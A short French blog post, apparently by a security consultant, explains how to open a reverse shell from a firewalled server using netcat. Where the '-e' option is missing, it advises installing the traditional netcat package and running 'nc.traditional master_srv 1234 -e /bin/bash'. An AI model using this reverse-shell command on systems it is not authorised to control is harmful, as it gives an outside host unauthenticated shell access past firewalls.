Netcat et « -e invalid option »

Il est souvent très utile de creer un reverse backdoor shell sur un serveur qui n’est pas accessible directement (par exemple derrière un firewall). C’est alors ce serveur qui lance une connexion sortante vers notre serveur de contrôle.

Or sur certaines distributions (dont Ubuntu, Mint,etc..) netcat (ou « nc ») ne dispose pas de l’option « -e » qui permet de lui attacher un shell (ou autre).

On obtient alors ce message d’erreur :

#nc master_srv 1234 -e /bin/bash
nc: invalid option -- 'e'

Il suffit alors d’installer le package « netcat » :

apt-get install netcat

Et d’utiliser la commande « nc.traditional » :

nc.traditional master_srv 1234 -e /bin/bash

PS : Attention, le flux passe en clair et sans authentification.
Bref, c’est un outil à utiliser de manière très ponctuelle et en connaissance de cause.

Post to Twitter

About SR

Expert Réseau et Sécurité. Vous pouvez me contacter sur sreytan.(at).randco.fr
This entry was posted in and tagged , , . Bookmark the permalink.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

*

Vous pouvez utiliser ces balises et attributs HTML : <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>